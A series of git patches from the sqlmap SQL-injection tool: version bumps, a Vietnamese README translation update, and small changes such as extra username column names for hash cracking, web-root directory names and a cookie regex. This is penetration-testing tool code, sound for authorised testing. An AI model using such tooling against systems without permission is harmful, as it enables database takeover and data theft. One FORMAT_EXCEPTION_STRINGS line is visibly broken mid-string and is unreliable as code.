[French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) -* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) -* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md) -* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) -* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md) -* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) -* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) -* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) -* [Kurdish-ckb](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md) -* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) -* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) -* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) -* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) -* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md) -* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md) -* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md) -* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) -* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) -* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) -* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5e7f95542bc..da4622eb5f7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.8.5" +VERSION = "1.8.8.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 66d203e6ff8f443a145eb5beadf5826e8a819669 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Tr=E1=BB=8Bnh=20Duy=20H=C6=B0ng?= <57101685+HUNG-rushb@users.noreply.github.com> Date: Tue, 10 Sep 2024 19:04:27 +0700 Subject: [PATCH 106/853] Update Vietnamese translation (#5777) --- doc/translations/README-vi-VN.md | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md index 941e02fbc4c..b792e295892 100644 --- a/doc/translations/README-vi-VN.md +++ b/doc/translations/README-vi-VN.md @@ -2,15 +2,15 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với -một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. +sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Công cụ này đi kèm với +một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập file hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. Ảnh chụp màn hình ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng trình bày một số tính năng có thể tìm thấy trong wiki. +Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) - nơi trình bày một số tính năng có thể tìm thấy trong wiki. Cài đặt ---- @@ -18,7 +18,7 @@ Cài đặt Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master). -Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone với [Git](https://github.com/sqlmapproject/sqlmap): +Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone về repo [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev @@ -27,16 +27,16 @@ sqlmap hoạt động hiệu quả với [Python](https://www.python.org/downloa Sử dụng ---- -Để có được danh sách các tùy chọn cơ bản, hãy sử dụng: +Để có được danh sách các tùy chọn cơ bản và switch, hãy chạy: python sqlmap.py -h -Để có được danh sách tất cả các tùy chọn, hãy sử dụng: +Để có được danh sách tất cả các tùy chọn và switch, hãy chạy: python sqlmap.py -hh -Bạn có thể xem video chạy thử [tại đây](https://asciinema.org/a/46601). -Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh). +Bạn có thể xem video demo [tại đây](https://asciinema.org/a/46601). +Để có cái nhìn tổng quan về sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh). Liên kết ---- @@ -44,7 +44,7 @@ Liên kết * Trang chủ: https://sqlmap.org * Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues +* Theo dõi issue: https://github.com/sqlmapproject/sqlmap/issues * Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://twitter.com/sqlmap) From 944e90dad5b72eb6e68e3829823dacb88f0cc91a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 10 Sep 2024 14:05:14 +0200 Subject: [PATCH 107/853] Dummy commit --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 158f58eed8e..0f25c6356bf 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -110,7 +110,7 @@ c94d5c9ae4e4b996eaf0d06a6c5323a12f22653bb53c5eaf5400ee0bccf4a1eb doc/translatio 622d9a1f22d07e2fefdebbd6bd74e6727dc14725af6871423631f3d8a20a5277 doc/translations/README-sk-SK.md 6d690c314fe278f8f949b27cd6f7db0354732c6112f2c8f764dcf7c2d12d626f doc/translations/README-tr-TR.md 0bccce9d2e48e7acc1ef126539a50d3d83c439f94cc6387c1331a9960604a2cd doc/translations/README-uk-UA.md -b88046e2fc27c35df58fcd5bbeaec0d70d95ebf3953f2cf29cc97a0a14dad529 doc/translations/README-vi-VN.md +285c997e8ae7381d765143b5de6721cad598d564fd5f01a921108f285d9603a2 doc/translations/README-vi-VN.md b553a179c731127a115d68dfb2342602ad8558a42aa123050ba51a08509483f6 doc/translations/README-zh-CN.md 98dd22c14c12ba65ca19efca273ef1ef07c45c7832bfd7daa7467d44cb082e76 extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -4cecba7ea99c1cf0a3ff3077b857feeca680d778501a16cbacb92a98d00d467a lib/core/settings.py +315c763375a6e0a35c8922b54ef7bd9fe8b0fe0b842eb204deaf2ac3f944da37 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index da4622eb5f7..92c8dc211e2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.8.6" +VERSION = "1.8.9.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -908,7 +908,7 @@ KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" # For filling in case of dumb push updates -DUMMY_JUNK = "iuj5eiVa" +DUMMY_JUNK = "jaiSh6bi" # Printable bytes PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable) From 9e36fd74841ef20e103143b29824a80a254d1ef7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 25 Sep 2024 13:56:41 +0200 Subject: [PATCH 108/853] Update related to the #5784 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/connect.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0f25c6356bf..92f345f95ff 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -315c763375a6e0a35c8922b54ef7bd9fe8b0fe0b842eb204deaf2ac3f944da37 lib/core/settings.py +e07affe0c1cd75f297b2b357d2e31a3c8ffb3af22329debe1ec291e07e5a1180 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -211,7 +211,7 @@ b48edf3f30db127b18419f607894d5de46fc949d14c65fdc85ece524207d6dfd lib/parse/html 2395d6d28d6a1e342fccd56bb741080468a777b9b2a5ddd5634df65fe9785cef lib/request/basic.py ead55e936dfc8941e512c8e8a4f644689387f331f4eed97854c558be3e227a91 lib/request/chunkedhandler.py 06128c4e3e0e1fe34618de9d1fd5ee21292953dce4a3416567e200d2dfda79f2 lib/request/comparison.py -cfccda9e0e9d0121079ab47e9885071a852a428eaa09c13258923b00438d0b78 lib/request/connect.py +9ffc0e799273240c26d32521f58b3e3fd8a3c834e9db2ce3bda460595e6be6c8 lib/request/connect.py 470e96857a7037a2d74b2c4b1c8c5d8379b76ea8cbdb1d8dd4367a7a852fa93c lib/request/direct.py e802cc9099282764da0280172623600b6b9bb9fe1c87f352ade8be7a3f622585 lib/request/dns.py 9922275d3ca79f00f9b9301f4e4d9f1c444dc7ac38de6d50ef253122abae4833 lib/request/httpshandler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 92c8dc211e2..1a767b72aaa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.9.0" +VERSION = "1.8.9.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 3dfd93f2243..0651ded71ef 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -297,11 +297,11 @@ def getPage(**kwargs): finalCode = kwargs.get("finalCode", False) chunked = kwargs.get("chunked", False) or conf.chunked - start = time.time() - if isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) + start = time.time() + threadData = getCurrentThreadData() with kb.locks.request: kb.requestCounter += 1 From db2c6bc546f247f95127b6afef21a682bc15d307 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 25 Oct 2024 11:45:20 +0200 Subject: [PATCH 109/853] Trivial update --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 92f345f95ff..e9da3b5ecbd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -e07affe0c1cd75f297b2b357d2e31a3c8ffb3af22329debe1ec291e07e5a1180 lib/core/settings.py +6a7064084055b2d266e859b37c92351a0752dfda4ec0b302e496fbaedd61149b lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 1a767b72aaa..ea01e143906 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.9.1" +VERSION = "1.8.10.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -686,7 +686,7 @@ UNENCODED_ORIGINAL_VALUE = "original" # Common column names containing usernames (used for hash cracking in some cases) -COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "cuser") +COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "account", "account_name", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "customer", "cuser") # Default delimiter in GET/POST values DEFAULT_GET_POST_DELIMITER = '&' @@ -794,7 +794,7 @@ RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au") # Generic www root directory names -GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") +GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "public_html", "wwwroot", "www", "site") # Maximum length of a help part containing switch/option name(s) MAX_HELP_OPTION_LENGTH = 18 @@ -803,7 +803,7 @@ MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' @@ -908,7 +908,7 @@ KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" # For filling in case of dumb push updates -DUMMY_JUNK = "jaiSh6bi" +DUMMY_JUNK = "Ataiphi2" # Printable bytes PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable) From 374134e8c0be02e3420930f6edc28069493bb81d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 25 Oct 2024 15:47:16 +0200 Subject: [PATCH 110/853] Minor improvement --- data/txt/sha256sums.txt | 6 +++--- lib/controller/controller.py | 4 ++-- lib/core/common.py | 4 ++-- lib/core/settings.py | 6 +++--- 4 files changed, 10 insertions(+), 10 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e9da3b5ecbd..c597732129c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -161,12 +161,12 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 2ffe028b8b21306b6f528e62b214f43172fcf5bb59d317a13ba78e70155677ce extra/vulnserver/vulnserver.py f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller/action.py 062c02a876644fc9bb4be37b545a325c600ee0b62f898f9723676043303659d4 lib/controller/checks.py -34120f3ea85f4d69211642a263f963f08c97c20d47fd2ca082c23a5336d393f8 lib/controller/controller.py +11c494dd61fc8259d5f9e60bd69c4169025980a4ce948c6622275179393e9bef lib/controller/controller.py 46d70b69cc7af0849242da5094a644568d7662a256a63e88ae485985b6dccf12 lib/controller/handler.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py c2966ee914b98ba55c0e12b8f76e678245d08ff9b30f63c4456721ec3eff3918 lib/core/bigarray.py -f43931f5dbabd11de96267b6f9431025ee2e09e65a14b907c360ce029bbed39f lib/core/common.py +9e3c165eee6fbe2bc02f5e7301bca6633ff60894a5a8ec5b3622db2747bd5705 lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -6a7064084055b2d266e859b37c92351a0752dfda4ec0b302e496fbaedd61149b lib/core/settings.py +1993078b2d36dc2efd661f3d757dce60a711c59a4c1e95a7d02b7f1ec4e88361 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/controller/controller.py b/lib/controller/controller.py index cbb8cd78c76..3d01e3c174d 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -69,7 +69,7 @@ from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EMPTY_FORM_FIELDS_REGEX -from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX +from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX from lib.core.settings import HOST_ALIASES from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import LOW_TEXT_PERCENT @@ -563,7 +563,7 @@ def start(): logger.info(infoMsg) # Ignore session-like parameters for --level < 4 - elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): + elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or re.search(GOOGLE_ANALYTICS_COOKIE_REGEX, parameter)): testSqlInj = False infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) diff --git a/lib/core/common.py b/lib/core/common.py index d741fad4d7c..56bb692642d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -129,7 +129,7 @@ from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES from lib.core.settings import GIT_PAGE from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN -from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX +from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS @@ -662,7 +662,7 @@ def paramToDict(place, parameters=None): if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)): _ = urldecode(testableParameters[parameter], convall=True) - if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): + if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not re.search(GOOGLE_ANALYTICS_COOKIE_REGEX, parameter): warnMsg = "it appears that you have provided tainted parameter values " warnMsg += "('%s') with most likely leftover " % element warnMsg += "chars/statements from manual SQL injection test(s). " diff --git a/lib/core/settings.py b/lib/core/settings.py index ea01e143906..b24b95d6b56 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.10.0" +VERSION = "1.8.10.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -543,8 +543,8 @@ # Regular expression used for recognition of ASP.NET control parameters ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$" -# Prefix for Google analytics cookie names -GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" +# Regex for Google analytics cookie names +GOOGLE_ANALYTICS_COOKIE_REGEX = r"(?i)\A(__utm|_ga|_gid|_gat|_gcl_au)" # Prefix for configuration overriding environment variables SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_" From 5c27dd8204fb74843c5c21bad3c50ce29a966a6d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Oct 2024 11:19:15 +0100 Subject: [PATCH 111/853] Patch related to the #2891 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/generic/entries.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c597732129c..75ac24e8a1d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -1993078b2d36dc2efd661f3d757dce60a711c59a4c1e95a7d02b7f1ec4e88361 lib/core/settings.py +37fff4ea53ed567d0563edcdd86b95e0f9534255e2feb13d033140fd3acabcf5 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -462,7 +462,7 @@ acc41465f146d2611fca5a84bd8896bc0ccd2b032b8938357aea3e5b173a5a10 plugins/dbms/v e6dfaab13d9f98ccffdc70dd46800ca2d61519731d10a267bc82f9fb82cd504d plugins/generic/connector.py 664be8bb4157452f2e40c4f98a359e26b559d7ef4f4148564cb8533b5ebf7d54 plugins/generic/custom.py 8f4cd6fc48882869203eaa797fea339a5afaf17306a674b384ae18d47839a150 plugins/generic/databases.py -f8fc1af049d08e7ff87899cad7766f376cc6dfe45baafb86ef13e7252b833e00 plugins/generic/entries.py +96924a13d7bf0ed8056dc70f10593e9253750a3d83e9a9c9656c3d1527eda344 plugins/generic/entries.py a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generic/enumeration.py 1c2e812096015eaef55be45d3a0bcd92b4db27eace47e36577aeff7b4246ad35 plugins/generic/filesystem.py 05f33c9ba3897e8d75c8cf4be90eb24b08e1d7cd0fc0f74913f052c83bc1a7c1 plugins/generic/fingerprint.py diff --git a/lib/core/settings.py b/lib/core/settings.py index b24b95d6b56..3bbc2c69d14 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.10.1" +VERSION = "1.8.10.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index f6e8c01c4a6..5bdd4bb74c5 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -115,7 +115,7 @@ def dumpTable(self, foundData=None): if kb.dumpKeyboardInterrupt: break - if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None: + if conf.exclude and re.search(conf.exclude, unsafeSQLIdentificatorNaming(tbl), re.I) is not None: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) singleTimeLogMessage(infoMsg) 